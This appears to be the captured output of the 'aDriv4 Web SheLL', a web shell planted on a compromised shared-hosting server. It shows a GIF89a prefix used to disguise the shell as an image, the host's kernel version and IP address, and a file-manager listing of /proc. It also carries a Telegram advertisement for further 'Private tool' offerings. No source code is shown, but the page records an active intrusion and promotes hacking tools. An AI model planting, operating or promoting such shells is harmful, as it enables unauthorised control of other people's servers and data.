GIF89;aGIF89;aGIF89;a aDriv4 website!

For more Private tool come to me!

https://t.me/aDriv4vz

aDriv4 Web SheLL
 Linux premium200.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
 LiteSpeed
 66.29.132.5
Name Type Size Owner/Group Permission Last Modified Actions
. dir - root/root 0555 2025-07-02 07:51:45
.. dir - root/root 0755 2025-08-02 07:22:02
104743 dir - newspseo/newspseo 0555 2025-11-19 02:10:09
105153 dir - newspseo/newspseo 0555 2025-11-19 02:10:09
897446 dir - newspseo/newspseo 0555 2025-11-19 02:10:31
932887 dir - newspseo/newspseo 0555 2025-11-19 02:11:39
934760 dir - newspseo/newspseo 0555 2025-11-19 02:12:08
935145 dir - newspseo/newspseo 0555 2025-11-19 02:12:14
acpi dir - root/root 0555 2025-07-02 07:51:48
bus dir - root/root 0555 2025-07-02 07:51:57
driver dir - root/root 0555 2025-11-19 02:11:53
fs dir - root/root 0555 2025-07-02 07:51:57
irq dir - root/root 0555 2025-07-02 07:51:57
kcare dir - root/root 0555 2025-11-19 02:11:53
lve dir - root/root 0555 2025-11-19 02:10:07
net link - newspseo/newspseo 0555 2025-11-19 02:12:11
scsi dir - root/root 0555 2025-07-02 07:51:57
self link - newspseo/newspseo 0555 2025-11-19 02:12:08
sys dir - root/root 0555 2025-07-02 07:51:46
sysvipc dir - root/root 0555 2025-11-19 02:11:53
thread-self link - newspseo/newspseo 0555 2025-11-19 02:12:08
tty dir - root/root 0555 2025-11-19 02:11:33
buddyinfo 0 B root/root 0444 2025-11-19 02:11:53
cgroups 0 B root/root 0444 2025-11-19 02:11:33
cmdline text/plain 0 B root/root 0444 2025-11-19 02:10:32
consoles 0 B root/root 0444 2025-11-19 02:11:53
cpuinfo text/plain 0 B root/root 0444 2025-11-19 02:10:35
crypto 0 B root/root 0444 2025-11-19 02:11:53
devices 0 B root/root 0444 2025-11-19 02:11:53
diskstats 0 B root/root 0444 2025-11-19 02:11:03
dma 0 B root/root 0444 2025-11-19 02:11:53
execdomains 0 B root/root 0444 2025-11-19 02:11:53
fb 0 B root/root 0444 2025-11-19 02:11:53
filesystems text/plain 0 B root/root 0444 2025-11-19 02:10:31
interrupts 0 B root/root 0444 2025-11-19 02:11:53
iomem 0 B root/root 0444 2025-11-19 02:11:53
ioports 0 B root/root 0444 2025-11-19 02:11:53
kallsyms 0 B root/root 0444 2025-07-02 07:51:57
kcore 128 TB root/root 0400 2025-07-02 07:51:48
key-users 0 B root/root 0444 2025-11-19 02:11:53
keys 0 B root/root 0444 2025-11-19 02:11:53
kmsg 0 B root/root 0400 2025-11-19 02:11:53
kpagecgroup 0 B root/root 0400 2025-11-19 02:11:53
kpagecount 0 B root/root 0400 2025-11-19 02:11:53
kpageflags 0 B root/root 0400 2025-11-19 02:11:53
loadavg text/plain 0 B root/root 0444 2025-11-19 02:10:32
locks 0 B root/root 0444 2025-11-19 02:11:53
mdstat 0 B root/root 0444 2025-11-19 02:11:38
meminfo text/plain 0 B root/root 0444 2025-11-19 02:11:03
misc 0 B root/root 0444 2025-11-19 02:11:53
modules 0 B root/root 0444 2025-11-19 02:11:53
mounts text/plain 0 B newspseo/newspseo 0444 2025-11-19 02:12:11
mtrr 0 B root/root 0644 2025-07-02 07:51:57
pagetypeinfo 0 B root/root 0400 2025-11-19 02:11:53
partitions 0 B root/root 0444 2025-11-19 02:11:53
sched_debug 0 B root/root 0444 2025-11-19 02:11:53
schedstat 0 B root/root 0444 2025-11-19 02:11:53
slabinfo 0 B root/root 0400 2025-11-19 02:11:53
softirqs 0 B root/root 0444 2025-11-19 02:11:53
stat text/plain 0 B root/root 0444 2025-11-19 02:10:31
swaps 0 B root/root 0444 2025-07-02 07:51:46
sysrq-trigger 0 B root/root 0200 2025-07-02 07:51:57
timer_list 0 B root/root 0400 2025-11-19 02:11:53
uptime text/plain 0 B root/root 0444 2025-11-19 02:11:05
version text/plain 0 B root/root 0444 2025-11-19 02:11:53
vmallocinfo 0 B root/root 0400 2025-11-19 02:11:53
vmstat 0 B root/root 0444 2025-11-19 02:11:03
zoneinfo 0 B root/root 0444 2025-11-19 02:11:53
© aDriv4